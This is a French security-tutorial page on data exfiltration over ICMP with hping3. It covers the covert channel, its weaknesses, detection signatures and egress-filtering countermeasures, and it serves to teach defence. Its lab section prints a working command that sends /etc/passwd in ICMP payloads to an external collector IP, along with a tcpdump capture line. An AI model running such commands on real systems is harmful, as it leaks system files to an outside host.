Exfiltration de données via ICMP avec hping3
Section intitulée « Exfiltration de données via ICMP avec hping3 »Le protocole ICMP (Internet Control Message Protocol) sert officiellement à dire qu’un paquet s’est perdu ou qu’un hôte répond. Officieusement, le champ de données d’un paquet ICMP accepte à peu près n’importe quoi, et hping3 se fait un plaisir de le remplir. Cette page décrit le canal caché, ce qu’il coûte à l’attaquant comme au défenseur, et par où le couper.
Imagine que tu glisses des petits mots dans les cartes postales qu’on envoie pour dire « coucou je suis bien arrivé ». Le facteur ne lit jamais ces cartes, il les laisse passer sans y penser. Quelqu’un de malin s’en sert pour faire sortir des secrets sans que personne ne surveille le courrier.
→ Lire l’explication complète de la marmotte
Pourquoi le champ de données ICMP est un tuyau d’exfiltration
Section intitulée « Pourquoi le champ de données ICMP est un tuyau d’exfiltration »Un paquet ICMP de type 8 (echo request, le « ping ») et son type 0 (echo reply) embarquent un champ de données dont le contenu n’a aucune sémantique protocolaire. La pile réseau le recopie tel quel du requêteur vers le répondeur. Autrement dit, tout ce qui tient dans ce champ voyage sans être interprété, et surtout sans être associé à une connexion qu’un pare-feu à états suivrait.
C’est là tout l’intérêt pour un attaquant qui a déjà un pied dans le réseau interne. Les flux applicatifs légitimes (HTTP sortant, DNS, SMTP) sont souvent filtrés, journalisés, parfois inspectés par un proxy. Le ping, lui, reste ouvert « pour le diagnostic », et son contenu n’intéresse personne. Le compromis central est brutal : ICMP offre un canal discret et quasi universellement autorisé, mais il paie cette discrétion par un débit ridicule, une absence totale de fiabilité et une signature statistique repérable dès qu’on regarde.
Le mécanisme ne se limite pas à hping3. Des outils dédiés (icmptunnel, ptunnel, le payload ICMP de certaines balises de post-exploitation) font la même chose en plus automatisé. hping3 a l’avantage d’être trivial à comprendre : il fabrique le paquet brut, octet par octet, et montre exactement ce qui part.
Fabriquer le canal avec hping3
Section intitulée « Fabriquer le canal avec hping3 »hping3 ouvre une socket brute, ce qui exige les privilèges root ou la capacité CAP_NET_RAW sous Linux. Sans elle, pas de forge de paquet ICMP arbitraire. C’est le premier prérequis, et c’est aussi la première contre-mesure côté poste : un compte sans privilège ne fabrique pas ce trafic directement.
Côté attaquant, deux rôles : l’émetteur, sur la machine interne compromise, et le collecteur, sur une machine externe qui capture les paquets entrants (tcpdump, Wireshark ou un listener dédié). hping3 n’implémente pas le réassemblage côté réception : il envoie, point. Le collecteur recolle les morceaux.
Le flux tient en un schéma. Ce qu’il faut y lire : les données ne remontent jamais en clair dans un flux applicatif, elles sortent déguisées en diagnostic réseau.
La topologie suivante situe les équipements. Ce qu’il faut regarder : le payload ICMP traverse le pare-feu comme un ping anodin, alors qu’il contient un fragment de fichier.
Exemple reproductible en laboratoire
Section intitulée « Exemple reproductible en laboratoire »À exécuter uniquement sur un réseau de test dont on a la maîtrise. L’émetteur envoie le contenu d’un fichier dans le payload ICMP, le collecteur l’enregistre.
# --- Collecteur (machine externe 198.51.100.20) ---# Capture les echo request entrants et extrait le payload bruttcpdump -i eth0 'icmp[icmptype] == icmp-echo' -w /tmp/exfil.pcap
# --- Émetteur (poste interne compromis, nécessite root/CAP_NET_RAW) ---# -1 : mode ICMP ; -E : lit les données depuis un fichier ;# -d 1400 : taille du payload (sous la MTU pour éviter la fragmentation) ;# -c : nombre de paquets ; --fast : 10 paquets/secondehping3 -1 -E /etc/passwd -d 1400 -c 3 --fast 198.51.100.20
# Le collecteur reconstruit ensuite le fichier en concaténant# les payloads dans l'ordre des numéros de séquence ICMP.Le -d 1400 n’est pas cosmétique : dépasser la MTU (Maximum Transmission Unit, typiquement 1500 octets sur Ethernet) force la fragmentation IP, qui multiplie les paquets et attire l’œil. Rester sous la MTU garde un paquet par fragment de données.
Ce que le canal ICMP ne garantit pas
Section intitulée « Ce que le canal ICMP ne garantit pas »ICMP n’est pas TCP. Aucun accusé de réception, aucun contrôle de flux, aucune retransmission. Un paquet perdu est perdu, et un fichier exfiltré avec un octet manquant au milieu est un fichier corrompu. Un attaquant sérieux ajoute donc sa propre couche : numérotation, redondance, parfois correction d’erreur, ce qui alourdit encore chaque paquet et réduit le débit utile.
Le canal ne chiffre rien non plus. Le payload part tel quel, et quiconque capture le trafic lit le contenu. C’est pour ça que les implémentations évoluées chiffrent avant d’envoyer, ce qui a un effet de bord cruel pour l’attaquant : un payload chiffré a une entropie proche du maximum, et l’entropie élevée d’un flux ICMP est précisément ce qu’un détecteur cherche. Le choix se résume à fuiter en clair et rester lisible, ou chiffrer et briller dans les statistiques.
Enfin, le canal ne franchit pas un pare-feu qui bloque l’ICMP sortant. Toute la technique repose sur une règle d’egress permissive. Voir à ce sujet les principes de filtrage et segmentation et le rôle réel d’ICMP dans le diagnostic, qui ne justifie jamais un echo request sortant vers Internet entier.
Détecter le canal avant qu’il ne vide le disque
Section intitulée « Détecter le canal avant qu’il ne vide le disque »L’exfiltration ICMP a une signature. Un ping légitime émet un payload court (56 octets de données par défaut sous Linux), régulier, dont le contenu est une suite d’octets incrémentaux ou un horodatage. Le payload d’exfiltration est long, dense, et son contenu ressemble à des données de fichier ou à du bruit chiffré. Les axes de détection utiles :
- Taille du payload ICMP anormalement grande ou variable (un IDS comme Suricata déclenche sur
icmp.hdret la longueur). - Volume et débit : des centaines d’echo request vers une même IP externe, ou un ratio echo request/reply déséquilibré.
- Entropie du payload : un contenu à haute entropie dans un paquet ICMP n’a aucune raison d’exister.
- Destination : un echo request vers une IP externe non liée à une sonde de supervision connue.
La logique de détection, en schéma. Ce qu’il faut y lire : aucun critère seul ne suffit, c’est leur conjonction qui lève l’alerte sans noyer l’analyste.
Cette détection relève de la prévention des pertes de données côté contenu et des captures et de l’observabilité multi-couche côté réseau. Un déploiement de Suricata avec des règles sur la taille et le débit ICMP attrape les outils génériques ; les variantes chiffrées à faible débit demandent une analyse d’entropie et une baseline du trafic ICMP normal, ce qui suppose de connaître son trafic ICMP normal, exercice que beaucoup repoussent jusqu’à l’incident.
Couper le tuyau : contre-mesures d’architecture
Section intitulée « Couper le tuyau : contre-mesures d’architecture »La contre-mesure la plus franche est le filtrage d’egress. Un pare-feu bien réglé n’autorise l’ICMP echo request sortant que vers les cibles de supervision légitimes, et bloque le reste. Attention au réflexe du « bloquer tout ICMP » : couper l’ICMP type 3 code 4 (fragmentation nécessaire) casse la découverte de MTU et provoque des blocages TCP silencieux. On filtre les types, on ne massacre pas le protocole.
Au-delà du filtrage par type, trois leviers complètent la défense. La limitation de débit (rate limiting) sur l’ICMP sortant plafonne le débit d’exfiltration à un niveau où vider un fichier volumineux prendrait un temps absurde. L’inspection de payload (DPI, Deep Packet Inspection) sur les équipements qui en sont capables rejette les echo request dont les données ne ressemblent pas à un ping standard. Et la réduction de privilège sur les postes, puisque forger un paquet ICMP brut exige CAP_NET_RAW : un poste durci où les comptes applicatifs n’ont pas cette capacité ferme la porte à la source.
Aucun de ces leviers n’est suffisant seul, et c’est le principe même de la défense en profondeur : le filtrage d’egress arrête l’outil naïf, le rate limiting rend le canal inexploitable à l’échelle, l’inspection attrape ce qui reste, la supervision journalise pour l’analyse après coup.
Bloquer complètement l’ICMP sortant règle-t-il le problème ?
Section intitulée « Bloquer complètement l’ICMP sortant règle-t-il le problème ? »Oui pour ce canal précis, non sans dommages collatéraux. Couper l’ICMP type 3 code 4 (Packet Too Big) casse la découverte de MTU et génère des connexions TCP qui s’établissent puis se figent. La bonne approche filtre l’echo request (type 8) sortant vers des destinations non autorisées tout en laissant passer les messages de contrôle indispensables.
hping3 est-il le seul outil concerné ?
Section intitulée « hping3 est-il le seul outil concerné ? »Non. hping3 sert à comprendre et à tester car il forge le paquet explicitement. En conditions réelles, des tunnels dédiés (icmptunnel, ptunnel) et des implants de post-exploitation font la même chose de façon automatisée, chiffrée et fiabilisée. Les contre-mesures visent le canal ICMP lui-même, pas un outil en particulier.
Le chiffrement du payload rend-il l’exfiltration indétectable ?
Section intitulée « Le chiffrement du payload rend-il l’exfiltration indétectable ? »Au contraire, il la rend plus voyante sur le plan statistique. Un payload chiffré a une entropie proche du maximum, et un flux ICMP à haute entropie n’a aucune justification légitime. Le chiffrement protège le contenu si le trafic est capturé, mais il allume le voyant d’une détection basée sur l’entropie.
🐝 Ce qui arrive si on s’en passe
Section intitulée « 🐝 Ce qui arrive si on s’en passe »Sans filtrage d’egress ICMP, sans rate limiting et sans supervision du trafic ICMP, un attaquant déjà présent sur le réseau interne dispose d’un canal de sortie qu’aucun proxy applicatif ni aucune règle HTTP ne voit. Des fichiers de configuration, des listes de comptes, des clés ou des bases entières quittent le périmètre déguisés en pings de diagnostic, sans journal d’accès applicatif pour en garder trace. La fuite ne laisse aucune empreinte dans les flux surveillés, ce qui retarde la détection de l’incident de plusieurs jours ou le rend visible seulement a posteriori, lors d’une capture réseau ciblée. La reconstruction du périmètre compromis devient aveugle faute de volumétrie ICMP de référence : on ne sait pas ce qui est sorti, ni quand, ni combien.
🦫 Explication de la marmotte 🍫
Section intitulée « 🦫 Explication de la marmotte 🍫 »Sur un réseau, les ordinateurs s’envoient de petits messages pour vérifier qu’ils se répondent : c’est le « ping ». Chaque ping contient un espace libre prévu pour des données de test que personne ne regarde vraiment. Quelqu’un qui a déjà pris le contrôle d’une machine à l’intérieur d’une entreprise peut remplir cet espace avec des morceaux d’un fichier secret et envoyer ces pings vers un ordinateur qu’il contrôle à l’extérieur. L’outil hping3 sert à fabriquer ces messages sur mesure, octet par octet. De l’autre côté, l’ordinateur pirate attrape tous les messages et recolle les morceaux pour reconstituer le fichier.
Le problème, c’est que cette méthode est lente et fragile : il n’y a aucune garantie que les messages arrivent ni dans le bon ordre, donc un morceau perdu abîme le fichier. Pour fonctionner, elle a besoin que le réseau laisse sortir ces pings vers l’extérieur. Si on bloque intelligemment ces messages, si on limite leur vitesse, ou si on examine leur contenu, le tuyau se bouche. On repère aussi l’attaque en remarquant des pings anormalement gros, trop nombreux, ou remplis de contenu qui ne ressemble pas à un vrai test. Quand rien de tout cela n’est surveillé, les données s’échappent sans laisser de trace dans les journaux habituels.
À lire aussi
- Nmap pour cartographier un réseau, des hôtes aux services exposésFiche de l'outil nmap, de la découverte d'hôtes à la détection de services, avec ce qu'un scan révèle, ce qu'un pare-feu fausse, comment le défenseur s'en sert et comment un scan se détecte.
- Wireshark, capturer et lire des trames réseau avec filtres et TLSFiche d'outil Wireshark, de la capture de trames à la lecture couche par couche, avec filtres de capture et d'affichage, tshark, déchiffrement TLS de son propre trafic, limites et cadre légal.
- GRE, IPsec ou GRE dans IPsec pour un tunnel site à siteChoisir entre GRE, IPsec et GRE dans IPsec pour relier deux sites, selon le chiffrement, le routage dynamique, le multicast et le coût en MTU.
- TA0010 Exfiltration : faire sortir les donnéesLa tactique ATT&CK TA0010 : sortir les données du réseau. Dix techniques, dont l'exfiltration assistée par IA ajoutée en v20, et pourquoi la détection arrive presque toujours trop tard.
Pages voisines
La citent
Exfiltration de données via ICMP avec hping3
Elle cite
- Lien dans les deux sens :Hping3 options et usages pour tester pare-feu et TCP/IP
- Lien dans les deux sens :Résolution locale, ICMP, MTU et multicast
- Captures, observabilité et diagnostic multi-couche
- Concevoir une défense en profondeur par couches
- Configurer Suricata sur un segment réseau critique
- DLP prévention des pertes de données : détection et limites
- Filtrage, segmentation, NAC et Zero Trust
: les deux pages se citent l’une l’autre.
